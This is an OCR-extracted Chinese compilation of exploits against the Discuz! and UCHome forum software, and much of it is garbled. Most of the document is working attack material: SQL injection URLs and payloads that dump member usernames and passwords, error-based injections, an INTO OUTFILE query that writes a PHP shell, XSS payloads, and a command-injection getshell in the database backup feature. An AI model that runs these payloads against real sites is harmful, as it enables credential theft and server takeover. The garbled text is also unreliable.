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SQL FNIHE

TR Discuz FEMADHEE KRN sal ENFR, FEFAREHNEEEAS, A
BL SOLENTRIRS RARAT BT, 5 URL 21T :

##10) BT L\ RIFEEE—nds_ques_viewanswer. inc. php—>7E 7R 1

http://ip/plugin. php?id=nds up ques:nds ques_ viewanswer&srchtxt=18&orderby=dataline

##/source/include/misc/misc_stat. php—>3&E s 2

http://ip/bbs/misc. php?mod=stat&op=trend&xml=1&merge=18&types[1]=x

##discuz ychat ffiff—table_ychat_rooms. php. rooms. php—>&7R 3

http://ip/plugin. php?id=ychat&mod=rooms&cid=6x

## B R Af - forummission. php—>}& 7~ 4

http://ip/forummission. php?index=show&amp; id=24

## my. php—>&/K 5

http://ip/my. php?item=buddylist

## UChome HF—>JER 6

http://ip/uchome/cp. php?ac=blogdblogid=1

## X KIEHF- jiaoyou. php—>iEIR 7

http://ip/jiaoyou. php?pid=1

http://ip/jiaoyou. php?mod=search&residecity=

##v63 T IIEEE- \source\class\discuz\discuz_database. php—> &7~ 8

http://ip/discuz/plugin. php?id=vé3shop:goods&pac=info&gid=110



http://ip/plugin.php?id=nds_up_ques:nds_ques_viewanswer&srchtxt=1&orderby=dataline
http://ip/bbs/misc.php?mod=stat&op=trend&xml=1&merge=1&types%5b1%5d=x
http://ip/plugin.php?id=ychat&mod=rooms&cid=6x
http://ip/forummission.php?index=show&amp;id=24
http://ip/my.php?item=buddylist
http://ip/jiaoyou.php?pid=1
http://ip/jiaoyou.php?mod=search&residecity
http://ip/discuz/plugin.php?id=v63shop:goods&pac=info&gid=110

## misc HifE- source\module\forum\forum_misc. php—>3&ExR 9

http://ip/forum. php?mod=misc&tid={tid}&action=postappend&pid={pid}

## attachment ¥H{E- \source\module\forum\forum_attachment. php—>3&7x 10

http://ip/forum. php?mod=attachment&findpost=ss&aid=

#HFIEIE - moodwal |. inc. php—>3&E 7 11

Http://ip/plugin. php?id=moodwal | &action=edit mood&moodid=2

##25 [B] I HE-space. php—>J& 7R 12

http://ip/space. php?username=

## trade. php—>}&E < 13

http://ip/trade. php

#HS BPID—>ER 14

http://ip/member/pm. php?dopost=read&id=1

HEEEE-TRE-BUEBRk-BEN - RRBMRFDER 15

WS WS RAE:

ZRETROT, E£B5 19 NHEESIREEFE sal JEN, BRE 41 sal ENRRIR%E POC,
BB TR EIR

JER 1: Discuz [A1ERE LW AREHSH orderby F77E SOL
FENRR

KB BB REE W AR A A7 i

http://xxxxx/plugin. php?id=nds up ques:nds ques viewanswer&srchtxt=1&orderby=datel i

ne ([A)@R B 7E orderby &%), IZBEIHIT sql FAN


http://ip/forum.php?mod=misc&tid=%7btid%7d&action=postappend&pid=%7bpid%7d
http://ip/forum.php?mod=attachment&findpost=ss&aid
http://ip/plugin.php?id=moodwall&action=edit_mood&moodid=2
http://ip/space.php?username
http://ip/trade.php
http://ip/member/pm.php?dopost=read&id=1
http://xxxxx/plugin.php?id=nds_up_ques:nds_ques_viewanswer&srchtxt=1&orderby=dateline
http://xxxxx/plugin.php?id=nds_up_ques:nds_ques_viewanswer&srchtxt=1&orderby=dateline

INT v = © SQL- XSS+ Encryption Encoding: Other-

ls¢ Load URL hﬂp./-a'ugn\.php’ndani_up_QuﬂndS_quﬂ_vim.\ncwﬂ&u(hh‘l=l&o'dffby:ida(eﬁﬂr and 1=(updatexmi(l concm(‘hl)?lmum()l l)'

r

& Selt URL
’ Eyecute

Enable Post data Enable Referrer

Discuz! Database Error /

(1105) XPATH syntax error: "5.5.27"

SELECT ™ FROM ques_user WHERE topiod =~ AND author = ‘1’ ORDER by dateline and 1-\'updalem\l[1,comat(nx27,verm6))r Tw

ETRMZER sqlmap HITRET .

SEHEREE: http://www. 5kik. com/phpOday/239. html|

SE7N 2: Discuz x3.2 Bi& GET & SQL ¥ NiE (Zkide/
WAF)

KEEAR:

http://localhost/bbs/misc. php?mod=stat&op=trend&xm|=1&merge=1&types[1]=x

localhost - Database E: x \ -
&« C | [ localhost/bbs/misc.php?n |)‘1’\Zc’{givﬂlv*Il‘-lhiqul"]’:(QHHL-I.]P"‘,.RJ".I“"\[H'
Hpm wrem O =3

Discuz! Database Error

(1054) Unknown column x" in 'field list’

SELECT daytime,” x' AS statistic FROM common_stat WHERE daytime>=20140803 AND daytime<=20140902 ORDER BY daytime

MEERE
PHP Debug
No. |File Line |Code
: misc.php 98 ‘ require(¥%s)
2 source/module/misc/misc_stat.php |7 | include(%s)
3 source/include/misc/misc_stat.php |60 'tab]e_common_stat—>fetch‘a1"l(%s, %s, %s)
4 source/class/table/table_common_stat.php |54 ‘discuz_database::query(%s, Array)
5 source/class/discuz/discuz_database.php 136 ‘db_driver_mysq1—>query(%s, false, false)
6 source/class/db/db_driver_mysql.php [153 'db_driver_mysq'l—>ha1t(%s. %d, %s)
7 source/class/db/db_driver_mysql.php 224 break()

Ekzslﬁ?izﬂ]_Iuii%UE’JﬁBﬁﬁﬁ% BETRELBENRE, B2l —THRAN—BEHI
(Fafg, MAERMT (. ) LoE#. BSTEER, AT, BEAREEEHE
E?ﬁ?, FEALFTERS, RBELFEES, XEBIERT.

SELECT davtime, aaa AS statistic FROM common_stat WHERE davtime>=20140805 AND daytime<=20140904 ORDER BY daytime


http://www.5kik.com/php0day/239.html
http://localhost/bbs/misc.php?mod=stat&op=trend&xml=1&merge=1&types%5b1%5d=x

BEMNBE LR sql 18R, ZMBENIENIBIRIE, EE daytime. XFMBIFKRT, BAK
ETHANRERAPR, MARPRREKZTXNFE.
[/ [ locathost - Database £ x Y\ | B = . — P —

L € | D) localhost/bbs/misc.php?mod=stat&op=trend &xml=1&merge=1&types[1]=password %20from%20pre_ucenter_members
#am [ seee O =23

Discuz! Database Error

(1054) Unknown column 'daytime’ in ‘field list'

SELECT daytime,” password™ from ucenter_members™ AS statistic FROM common_stat WHERE daytime=>=20140805 AND daytime<=20140904 ORDER BY

daytime

PHP Debug

No. File Line Code

il misc.php 98 require(%s)

HITLIZR Unknown column 'daytime' in 'field list's PFEL, FRATATLAFIEE mysql B94F

M, —XEEENE, 1§ pre_ucenter_members BIEIBEE TS T 3k
F T ahossbbsmiscehe « LN

“« C | [ localhost/bbs/misc.php?mod=stat&op=trend&xml=1&merge=18&types[1] =password from%20pre_commaon_statuser,pre_ucenter_members
HomE [ wREm O =8

This XL file does not appear to have any style information assoclated with it. The document tree iz shown below

¥ {chart>
¥ rawisk
dralue wid="17">0803</ valus>
<fxamis>
¥ <graphs>
wigraph gid="0" title="& HiFit">
<walue xid="1"/>
</ graph>
</ grapher
4 chart>

AKRAILIEER], BLTRET . FEH pre_common_statuser FTATELE daytime X5, mHIX
ANERFWE uid XN, EFFTLER pre_ucenter_members HIFFILEI. A4, BHEZEH
i@, sql IBAIEHERS

" AS statistic FROM common stat WHERE daytime»=20140805 AND daytime<=20140904 ORDER BY davtime

RAEEIRMTELAAIE? XBEANE, AREBAT, BEAERNTA. BAnysadl 283
% sql BRZERRBEAGH A, X, REibnysal AAREAP—KREFHFE—NFERH
“Bla” BIR. AT, SEHE—url:

http://localhost/bbs/misec. php?
mod=stat&op=trend&xml=1&merge=1&types[1]=password as%20daytime%20from%20pre_common_statuser, pre_ucenter_members%20as

/[ localhost/bbs/misc.php x . - =)
€« C [ localhost/bbs/misc.php?mod=stat&op=tren 1&xml=1&merge=18&types|1]=password as¥%20daytime%20from%20pre_common_statuser,pre_ucenter_me
HEE | Feem 80

This XML file does not appear to have any style information associated with it. The decument tree is shown below.

HREBAEIRY |, EREREM?

AUERCRHBUET . BEAMERWEIERE400. BERZE, EHRHBHFERT substr LT
daytime BYEE 4 B 8 {iL. f&2& POC



http://localhost/bbs/misc. php?
mod=stat&op=trend&xml=1&merge=1&types[1]=password as%20statistic%20from%20pre_common_statuser, pre_ucenter_members%20as

FHBIRHZIR

T — . =

inforzation associated with it. The dooument tree

SEHERE . https://www. secpulse. com/archives/26869. html

SE7N 3: discuz ychat FEEFENIRE

http://www. 51 jga. com/plugin. php?id=ychat&mod=rooms&cid=6x

cid B¥EME SAL S EN

SEHIE: https://bugs. shuimugan. com/bug/view?bug no=108978

S&7K 4: Discuz Plugin JiangHu 1.1 /forummission. php
SQL FFENIRE

forummission. php? index=show$id=24 h Ry id SHEELE sal JFNTFE

http://www.example.com/[path]/forummission.php?index=show&amp;id=24
and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a, password),4,5,6,7,8,9,10,11 from cdb_members-

SEHEREE: http://www. gltc. cn/30161. html

SE7R 5: Discuz 6.0 /my.php SQL ¥ \i&iE

LA EXP 4RTFAL HTML 3245

<{form method="post' action="http://dz6. 0/my. php?item=buddylist'> <input
type="hidden' value="1111" name="descriptionnew[1' and(select 1 from(select
count (*), concat ((select (select (select

concat (0x7e, user (), Ox7e, 0x5430304C5320474F21, 0x7e) limit 0,1)) from

information_schema. tables limit 0,1), floor (rand (0)*2)) x from


https://www.secpulse.com/archives/26869.html
http://www.51jqa.com/plugin.php?id=ychat&mod=rooms&cid=6x
https://bugs.shuimugan.com/bug/view?bug_no=108978
http://www.gltc.cn/30161.html

information_schema. tables group by x)a) and 1=1#]" /><br /> <input type='submit'
value='buddysubmit' name='buddysubmit' /><br /> </form>

U

« C [/ y.php?item=buddylist

Discuz! info: MySQL Query Error

User: admin
Time: 2014-10-9 10:47am
Script: NG

SQL: UPDATE [Table]lbuddys SET description='1111" WHERE uid="1"' AND buddyid="1" and(select 1 fi
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1='

Error: Duplicate entry '~root@localhost~TOOLS GO!~1' for key 1

Errno.: 1062

SEHEHE . https://bugs. shuimugan. com/bug/view?bug no=80359

SE7~ 6: UChome ¥R 1

EIUEIMAR AEFHE—MEMH

http://127.0.0. 1/uchome/space. php?uid=28do=albumdview=me 3TFFXE & L& HERTZ
B EE—1ER BT2E SHEHR ARESRIRI EENER SHEEER BEERIA AR

ME B titie AUFBNBLAR title%5B1' and (select 1 from (select

count (), concat (version(), floor (rand (0)2)) x from information_schema.tables group by

x)a) #%5D JRIGPIAFTRER title%5B1%5D 122Uk EEEY MAIAEREIRIEET

POST v  http://127.0.0.1/uchome/cp.php?ac=album&op=editpicBalbumid= | HTTP/L.1
HTTP Headers

Host: 127.0.0.1 -
User-Agent: Mozilla/5.0 (W ndo ws NT 6. l WOWN Vi 25 0) Gecko/20100101 Firefox/25.0 - "
Accept: text/html appl :q=0.9,%/"q=08 -
Accept-Language: zh-cn,zh:q=0.8 en-us:q=0.5en:q=0.3

Accept-Encoding: gzip, deflate

Referer: hitp://127.0.0.1/uch hplac=alk ditpic&albumid=2&picid=1
0%091383749467

“ookie: aa?_| % E !
%09%2Fphpwind362Findex.php33FmS3Dinstalls26¢53DUpgrade: language=zh-cn: - (ko
Bl 7 send POST Content 2

MySQL Error title%5B1" and (select 1 from (select count{™) concat(version{), floor{rand(0)” 2)}x from
Message: MySQL Query Error ) ) information_schema.tables group by x)a)#3%55D =1.phssssp.%df &editpicsubmit=%B8%FC
SQL: UPDATE uc| "= 2 picid’ ='1" and (select 1 from (select %D0%C2%6CBIHB5%CI%FT&newalbumid =0&page =1&editpicsubmit=truede =2
Error: Duplicate|entry '5.0.90-community-nt-log1’ for key 1 formhash=bee35541

Errno.: 1062
Click here to s=ek help.

step=start

Content-Length: 244

() [

WWW.Wooyun.org

SEHEREE . https://www. seebug. org/vuldb/ssvid-93618



https://bugs.shuimugan.com/bug/view?bug_no=80359
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$®7< 7: UChome FENIRIE 2

EMAPREER ,“J’E‘,‘“EEEI,.H\ SIEFHE SREFTIF BURP #TIE H—NR B /Y POST iE
I Mk picids['] REERRT MAUBRERT

b=

I ) ichack - 3w - b x
€ 2 X |0 127.001/uchomefcp.php?

Targat [ 7

Jlnw 6. ] History | Opuom]
Request to http:/127.0.0.1:80

5k | Fowad | Dop WI\ =
. = asdasd ,J';JP""‘ mw‘

,r ase B
= == ebX1zFormIoundar yGLELLLTAYICCERS
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35034
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LotulT4T200FNS
ate; neme='makefeed"

WV, WOoyun,org
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Requ
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SELECT claannars PR UChom_t)asa WHERE -Clashs ='1"

£AR 1y varAaTa, AT 1 AT TDATET A BENTTEN; padd 7 ). e

HySQL gucey Exror
SELECY ¢ PROH nchome pic WIERE picid TH (') AVD uid- 2'<brs
You have an arrar in your SQL ayntax: check the mesual that norrexpends to your MySQl marver varsion for the right aymbwx ta wea mear ‘7 at linm labes

(OB TTYHe)

A nARLIET A T Dy T IMYGET T T rrae T oAt amk T 0gen S TAERAL 0T {9he

Tmyne A ISk T AT Trana 4T IehAm L I0%

teapare EtdbrerorTou 0L\ Gart Sonrn

ck hure to sak help
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SEHIE. https://www. seebug. org/vuldb/ssvid-93616

SE7~ 8: Discuz! X2.5 521 3ZK¥HfF jiaoyou. php SQL 3F
Nimil

http://ip/jiaoyou. php?pid=1

http://ip/jiaoyou. php?mod=search&residecity=



https://www.seebug.org/vuldb/ssvid-93616
http://ip/jiaoyou.php?pid=1
http://ip/jiaoyou.php?mod=search&residecity

http://ip/jiaoyou. php?mod=search&resideprovince=

pid, residecity. resideprovince S II1F7 SOL ;T

6 v.trueqq.com/jiaoyou.php?mod=search& :'\.‘Q:t‘ ="' 0 and(select 1 from(select count( 0 ti(select (select concat( Gﬁ

Discuz! Database Error N

(1062) Duplicate entr\{ '~'a0407094$05@locaIhost"\{\i\for key 'group_key"

SELECT count(m.uid) FROM dmember_member m LEFT JOIN common_session ¢s ON m.uid=cs.uid LEFT JOIN dmember_profile dp ON m.uid=d
1=1 AND m.residecity =" or @""" and(select 1 from(select count(*),concat{(select (select concat(0x7e,0x27,unhex(hex(user())),0x27,0x7e)) |
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or @ '" and '1'="1’

PHP Debug

No. |File Line |Code

1 jiaoyou.php 10 require(%s)

2 plugin.php a7 include(%s)

3 source/plugin/dmember/dmember.inc.php 49 require_once(%s)

a4 source/plugin/dmember/modules/search.inc.php 18 dmember_search->member()

www.wooyun.org
SEHEE.

https://www. unhonker. com/bug/1058. html

https://www. seebug. org/vuldb/ssvid-93641

https://www. seebug. org/vuldb/ssvid—93641

SRR 9: Discuz! X2 V63 IR EEIEM SOL JENIRIE

7£ discuz v63 BN IR EENTRIE exp PHAFTERAL, #SM—TBEF. FAUSHIT
$clean = preg replace( “/° (. +?)’ /s” , 7, $sql);J&3K SQL iFAIFEANE5|SHEHA
BRMEWEHRAT ., HFSHABITEH else VK. Else TEHFAERIENEN$clean TE
HIRRAE. FTASRIS R BERFL 2 SOL B RMEMR N RS S hiE. 3T mysql BI—MFE,

@’ T BAEH, FUBRNMNWITEARLAREIE e “fig, BfEGPC FFE, 23|SHiEN
A\, me e\’ CIHENMERIREEMA, FrLAtSRIS AT RS .
BNEH I HZENTRIRARIBE EXP A

http://www. cnseay. com/discuz/plugin. php?id=v63shop:goods&pac=info&gid=110 or @’

" and (select * from (select count (*), concat (floor (rand (0) *2) , (select user )))a fromin

AN

N

formation_schema. tables group by a)b) or @’ ~ or @

" and (select * from (select count (*), concat (floor (rand (0) *2), (select user O)))a fromin

AN

formation_schema. tables group by a)b) or @’


http://ip/jiaoyou.php?mod=search&resideprovince
https://www.unhonker.com/bug/1058.html
https://www.seebug.org/vuldb/ssvid-93641
https://www.seebug.org/vuldb/ssvid-93641

i:m v| = @ SQu- XSS Encryption Encoding= Other-
@ LloadURL  http://locathost/discuz/plugin.phplid=v63shop:goods&pac=infoligid=110 or @™ and (select * from (select count(*),concat(floor{rang
4 sprumt
Execute
Enable Post data | Enable Referrer

Discuz! Database Error

(1062) Duplicate entry '1root@localhost’ for key 'group_key'

select * from v63_goods where “id” =110 or @ " and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))
information_schema.tables group by a)b)or @

AUBZRNBGENEIRERIET, MUAEANEEFHHNMEFRELIENEG.

SEHEEE: http://netsecurity. 51cto. com/art/201303/386717. htm

SR 10: Discuz x1.5 x2.0 =)Xii5

i518] http://xxxxx/forum. php?mod=misc&tid={1}&action=postappend&pid={2} i \EE EER

FH. ARREERMFTFE SOLIEN. WA “a’ ‘subject’ =(/*Iselect*/

group_concat(uid,"") from pre_common_member where groupid=1),comment="" ,

RIFHTIE, ATEEREEFEIEERF,

SEHEEE . https://www. webshel |. cc/562. html

J®7K 11: Discuz! X2 forum_attachment. php sql JENI®
i

http://www. discuz. net/forum. php?mod=attachment&findpost=ss&aid=

HEIES, aid BTEE SOLEN, BEE SOL 1B A)#H1T basebd /AL,

hitp:/mww.discuz.net/forum.php?
el EENENE AT e er s mMScg YWSKIDEOMIB 1bmivbiBhbGwgc2VsZWNOIDEsVEFCTEVITKFNRSBmemtIEIORKSSTUFUSU9OX1NDSEVNQ

[S5UQUJMRVMgd2hlcmUgVEFCTEVIUONIRU1BPWRhdGFIYXNIKCkgYWSkICBUQUJMRVIOQU1FIGXp h8eHx4fHg%3D

SEHEEE . https://www. cnblogs. com/devilo/articles/4874822. html



http://netsecurity.51cto.com/art/201303/386717.htm
http://xxxxx/forum.php?mod=misc&tid=%7b1%7d&action=postappend&pid=%7b2%7d
https://www.webshell.cc/562.html
http://www.discuz.net/forum.php?mod=attachment&findpost=ss&aid
https://www.cnblogs.com/devi1o/articles/4874822.html

SE7R 12: Discuz! 7.2/X1 B=51GEMH SQL FENRFAR
XSS [

http://xxxxxxxx/p lugin. php?id=moodwal | &action=edit mood&moodid=2

moodid f27E SQL ;¥ N\ .

SEEIE: https://www. seebug. org/vuldb/ssvid-93710

SR 13: Discuz!iPix wap THEERIRGRIS BT 5 iR

http://xxxxxxx/space.php?username=

username fF7E SQL JEN, {BRIRELLALSHE IERR\ , WSR2 GBK 4miSAIE, FIEREFT

ENRBRRST . WG E payload A:

/space. php?username=%cf ' %20UN|ON%20SELECT%201, 2, 3,4,5,6,7,8,9,10,11,12,13,14,15,16
17,18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44
, 45,46, 47, 48, password, 50, 51, 52, 53, 54, 55, 56, 57, database (), 59, 60, 61, 62, 63, 64, 65, 66, 67
,68,69,70,71,72,73,74,75,76,77,78,79, 80, 81, 82, 83, 84%20from%20cdb_member s%20where%20
uid=1/*

S EHEE:

http://www. vfocus. net/art/20080819/3755. html

https://www. jb51. net/hack/12858. html

SE7N 14: Discuz! pm. php 3EA

http://127.0.0. 1/dede/member/pm. php?dopost=read&id=1

id SEFHE SOL SN

SEZHEEE: http://www. hacké. com/wz le/gf/20140208/39554. html

SE7K 15: Discuz! 7.x csrf+fEfif xss (B3 A) Bi#E (2 4b)
FEE sql (root getshell) (Mith exploit)

AEEREG-TR-BUIE-AR-BEXIEREFAE SOLEAN, FFEEBIAHE


http://xxxxxxxx/plugin.php?id=moodwall&action=edit_mood&moodid=2
https://www.seebug.org/vuldb/ssvid-93710
http://xxxxxxx/space.php?username
http://www.vfocus.net/art/20080819/3755.html
https://www.jb51.net/hack/12858.html
http://127.0.0.1/dede/member/pm.php?dopost=read&id=1
http://www.hack6.com/wzle/gf/20140208/39554.html
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Control Panel

eiZiA A
eiEAE
BHET
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CIZARER
#iRRE
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_ I8 » #dRiEMA

HIZEE BE bEv BE BREE  SA

| x| RN FRRFERIRE
THEA, REEMAE
AHRT ., EERERIE

| B — BT R IZA R

PO LIP3 et Bl DI CE s

Discuz!

Bl 2R F@ MR AP WT TR OEF IS uCenter

Control Panel

i
e
EHET
B gt
#rRifE
bl =
C ibkEhEEE
o i

© RRSFEE
HlES
SFARBRA EE
At

T8 » SHEEH [l
wREm en e e R awes SA

B - SUEER B
BRI HTML (28, Hep a0 Imodule HEH £R /mo dule] RSN IR ER RUBL 7554 - T AR IaRBRANISE. SRR RIS E T
| smeamEmEs [=]

BES _w2L' union select '<?php phpinfo()>' into outfile
'D:/ APMSERVER/ APMServ5.2.6/www/htdocs/Discuz_7.2_SC_
UTF8/upload/attachments/shell.php'#

<?php phpinic LA — LR RIRE RN F R E R RR RN SR " e A REISRET . I ERRE T R

[ AR
RafeEHEE):

| FEEh 2R REFAarER I AR HTEE O FEE R TSNS - BRME 1800, 0 ATFET




T T T T L T T

T
& & 397 TEET090/ Divcue_72_SC_UTFS, + sshall phe _————-,__\ W@ |E = A+ R BB L i ows =

i o ) memn (5] sba (Eacsssn ) oo oo | spplis

ml

DAttt R R EE AEE— M 2RILA,
BURFEFE R E M T, BRm AR E
G L e W

[ CROAPMSERVERAPMS erv5.2. 60 Ahtdacs\Discuz 7.2 SC_UTF s
wen SeE 2EE uEy Ao wED emm {0 M SRR RS

i EB RS & e e sl Y g redun: FA et il TH T
B w3 e w0 B e B S| pnioe /

1 “<iphp phpinfo() 7> '\ Hid BiffEE
2 ( 1 0145 B5 SHIR VALLABLSS
= g 01679715 7054 SHIR COLLATION

S \\ U145 05 e R

TGOS E5 SET cheraster_ser_commestioneut 55, cheypftor_ses_vaml tzontfB character_set_olisnt=binary, sql_rades
014 St SEETT womid woabplesd romoupiis @ A5 thanned ropageviers 35 apageriens, x latelupdile, s oseccids, bouid A5 discuz wid, e ousenes 2
0147915 205 SELACT typels, wwher FAM cdb_ppdhpy YHERE wid= 1

20140715 20:54 i, rininid, ,-.:;i//a.m-m_ srvarcemt, vtorags PR et _adnizsescisndVOERE wid=' ' WD ip='E 8.5 B' AFD pamal=' ' AND datelis

P14 15 205 WITE b usa SF duted i’ 1107055, T, #lutall Eali ] IT s LRI,

014515 E0154 SFLRTT 8 PR odh_vequest VISAE veriabla LT * ERES_ZLY unios selest S3php phpizfol) v imte ontfile 3 1 SAPASTAVERSAPMSeres 2 Riens]

SIS EUIS BT ar e THIN i rmpsant WERE aci dhles S B unicn aaluct Dk phpiefal)} inka outfile 05 AUSERVIG A S 2. E e
# 2L wnisn welest el phpiafe (7Y il stBL D 2. B/t doza T acus 7. 2 5 UTIEA wehmeatafasall ph’

SO16/5/15 20:50 T " SHIR VAT ——

st T T e — — —

LGS 5054 ST chararser_sar sl bs<HIEL

lenath 118 lirez:2  Ln:2 Col:1 Sal:Bl0

SEHIE: https://www. seebug. org/vuldb/ssvid-93737

%3 POC:
Discuz! 4.x SQL injection POC

https://www. exploit—db. com/exploits/2859/

https://www. seebug. org/vuldb/ssvid—-5482

Discuz! 5.0.0RC1 SQL injection PoC

http://blog. sina. com. cn/s/blog 56fb0f050100055¢. html

Discuz! 5.0.0 GBK SQL Injection / Admin Gredentials Disclosure Exploit
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https://www.seebug.org/vuldb/ssvid-93737
https://www.exploit-db.com/exploits/2859/
https://www.seebug.org/vuldb/ssvid-5482
http://blog.sina.com.cn/s/blog_56fb0f050100055g.html
https://www.seebug.org/vuldb/ssvid-16732
https://www.seebug.org/vuldb/ssvid-5263

BB XSS IRE

TR BARERE, EEINEEE web TEIENEZRIAMKRIE, MIEFEXTH A6
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http://ip/logging. php?infloat=yes&handlekey=123

http://ip/api/uchome. php?infloat=yes&hand|ekey=123

##logging. php— &7 2

http://ip/logging. php?action=logout&formhash=b1abb3e2&referer=

##source/function/function_core. php—>3&E7R 3
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http://ip/api/uchome. php?infloat=yes&handlekey=123) :alert (/xss/) ;//
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http://www.bubuko.com/infodetail-2094064.html
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http://ip/logging.php?action=logout&formhash=b1abb3e2&referer=%27-alert%28document.domain%29-
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MAROLER “DPAER” RBENEERBHITAN, £ Discuz! R img REBZERAMBERT
MABENEENR, Discuz! KREFHPITIZRE, HAKARBE.
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B —ER 191NN
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POST discuz/trade. phpA<scriptralert (/xss/)</script>?
orderid=20081101133833f8ePgz0quj6UdcKUVq HTTPJITTEEEept: #/#=Accept—Language: zh—
cnReferer: http://127.0.0. 1/discuz/User—Agent: Mozilla/4.0 (compatible; MSIE
6.00; Windows NT 5.1; SV1)Host: 127.0.0. 1Cookie:
pbK_auth=488bbzQZdkZGTvZFGMWe sQH%2BAKOb5SYMEQOh J6gQCIYuUWhZWtHndwduYOvNTOb%2BLYe7g3
rPPH%2FEi1HspTnSCZowContent—Length: 426Content-Tyvpe: application/x—www—form—

urlencodedConnection:
Closeformhash=b674a3cd&password=123456&message=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN
ﬂéﬁAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"ﬁ%ﬂAAA; --------- AAAAA

'AAAAAAAAAA&&%&égé&é&&;AA‘AAAAAAAAAAAAAAAAAA&AAAAAA

AAA%2T7&offlinestatus=4&offlinesubmit=%E6%8F%90%E4%BA%A4%E6%IF%ALHESHAF%AZ2&newnumb

er=l&newbuvername=80vul&newbuvercontact=80vul&newbuverzip=12345&newbuverphone=123

122&newbuyvermobile=121312312

ZESMIT XSS,

SERREE: http://h2016.blog. 163. com/blog/static/100863425200810413817385/

L/ RIBHRITIE

IRERR: Discuz AR AR D INEENRRDRNT A PRBMAFITREFHNTIE, SHAENRSE®
SHARBEMRSFJHIT. R URLIAT:

HHETE R AU K- BURE-BURE&H->E R 1

##fF EAE-TRSE>TE R 2

##Discuz6. x, 7. x (RIS FHRBEAM G ->ER 3

#Hconvert Hfiff—/config. inc. php—>J&7R 4

http://ip/utility/convert/index. php?a=config&source=d7.2 x2.0

#&R R HE-RMMEE R -8R 5

HEEEG-2R-MEE=FFHIHRBE->ET6

## misc. php &R 7

http://ip/misc. php?action=imme binding&response[result]=aa:b&scriptlanglaal [b]=

## admin\runwizard. inc. php—>&7x 8


http://h2016.blog.163.com/blog/static/100863425200810413817385/
http://ip/utility/convert/index.php?a=config&source=d7.2_x2.0
http://ip/misc.php?action=imme_binding&response%5bresult%5d=aa:b&scriptlang%5baa%5d%5bb

http://ip/bbs/admincp. php?action=runwizard&step=3

#HEIEE &-uh4-Ucenter 1 E-1%E Ucenter IP {b->3&E7R 9
HEBRES-ERABE-ZEOE 2 -App key &->7&7R 10

MA SRS HE:

J®/K 1: Discuz! 1.5-2.5 R&®HSHITIRIE (CVE-2018-
14729)

AEERA-HK-HEE-FNPRFFEENRHR. BIENZHHER

Discuz! um 2m nm ns B NP s BE =8 58 TR E3F‘amuc€mer

Control Panel
A » BIRE » B0 [+)

EEEREN wiEr [T su #8 ®e 20
ety
RPN ISR
UCenter i ¢ MENNKBEHTES UCenter, RWMNENLAME, HAS NE $HEH UCenter HiE
BEE ¢ BIBENIERBTIREEH 2MOIscuz N, SHARIEAE R BRIBHKE THEES phoMyAdmin §A.
BPE&T = =
WFHE
LR BB R A
EEHR Discuz! BiB(A&UCenter)
0 BEEXHEH

2i% - Discuz! BiE%

pre_common_admincp_cmenu ~] pre_common_admincp_group
~| pre_common_admincp_perm ~) pre_common_admincp_session
DiSCUZ! BT 28 fE AT AP NP itk 348 =% A IA EEFEEUC%!M
Control Panel
954K » BUEE » &1 [+)
EAWEEN wigns P %= #28 0r 2R
ERHiQ
Redd pre_ucenter_pm_messages_8 ~] pre_ucenter_pm_messages_9
pre_ucenter_settings —| pre_ucenter_sqgicache
UCenter &l
pre_ucenter_vars
BagE
AP ERE BIBE B SR /
BFER © X4 MySQL Dump (Shell) &5
EEMHE Discuz! S#& &) - XFHKEMBI(RG: KB) [2048
ERFR

BB EOHET

{EAY RIS (Extended Insert) 53U:

1232, {EMH burpsuit 3MEL, 1E2K customtables[] = pre_common_admincp cmenu">aaa; echo

"<?php phpinfo(); ?>' > phpinfo.php #
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Burp Intruder Repeater Window Help
(Target | Proxy | Spider | Scanmer | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts | CSRF Token Tracker |
..
Go Cancel I: :I Target http://127.0.0.1
Request Response
“Raw | Params | Headers | Hex | "Raw | Headers | Hex | HTML | Render
PEET MDiscuz? fladmin php?action=dodoperation=exportsetup=1 HTTRA 1 & | [HTTRA 1 200 Ok =]
Host 127.0.0.1 Date: Mon, 27 Aug 2018 11:36 21 GMT
User-Agent: Mozillass.0 (Macintosh; Intel Mac OS X 10013 nv 50.0) Gecko/20100101 Firefox/50.0 Server: Apache/2 4.33 (Unix) OpenSSL/A 020 PHP/6.6.36 mod_per/2. 0.8-dev Periv5.16.9
Accept textihtnl, applic ationds b xml, applic ationdn | g=0.8,, g=0.8 ¥-Poweied-By. PHP/5.6.36
Accept-Language: zh-CH.zh,q=0 B en-US;q=0 5,en.q=0 3 Set-Conkie: 045K_2132_lastact=1 535963781 %09admin php%09; expires=Tue, 28-Aug-2018 11:36-21
Accept-Encoding: galp, deflate GMT, Max-Age=86328, path=/
Referer hitp #127.0.0 1/Discuz? Sfadmin php?action=db&operation=export Content-Length: 1618
Cookie: Connection: clase =]
VgBi_2132_ulastactivity=ebd 2K ui % 2FAWECRWCyF CGpB B TNKWVBE 2qiQjW7HEW X OhsQpCFdJbN, Content-Type. texthtml, char:
045K _2132_saitkey=IA0EAGAJA; D45K_2192_lastrisit=1 535366019, 045K _2132_sid=LHNvj|;
045K _2132_lastact=1535369627 % 02admin php %03,
045K _2132_ulastactivity=d1 carZ 30ntMhGI4Y OWRNLSLennHE 71 LI 794WT ok Prawc W 2008, il PUBLIC "W3CFDTD XHTML 1.0 Transitional/ENT
04SK_2132_auth=bd&BI0NF QBkaFUFTspCNFREXI4zegloGll fmwk 2B % 2F FeGsyiiE S TRIaCSHTmig w3, erg/TRARMIT/DTD K tmi I transitienal. dtd>
TRpnGH2BANETLEKBMOHE GOve 2N, 045K _2132_checkupgrade=1 4 L]
Caonnection: close Ehaa>
Upgrade-nsecure-Requests: 1 <meta http-equiv="Content-Type" content="text/html charset=utf-g*>
Content-Type: applicationf-rwww-form-udenc oded rs <mota http-equiv="x-ua-compatible® content="la=7" />
Content-Length 252 <link href="staticAmage/admincp/admincp css?Uva" rel="stylesheet” type="text/css" >
<hean>
! D=pre,:ommon,au+n <body>
